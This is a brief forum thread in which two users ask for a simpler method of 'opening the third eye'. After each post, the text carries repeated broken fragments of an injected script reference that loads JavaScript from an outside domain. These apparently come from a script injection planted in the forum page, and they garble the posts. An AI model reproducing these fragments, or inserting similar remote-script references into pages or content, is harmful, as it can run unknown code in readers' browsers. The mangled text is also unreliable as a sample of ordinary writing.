Third Eye help please

So i have seen on here all of the different methods people put on here about opening your third eye. I was wondering if some one could put it in a simpler form i guess i am just having a hard time understanding it. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

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I too am having a hard time understand (not to mention attempting) all the ways listed for opening the third eye. can anyone suggest a easier/simpler method or instructions? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>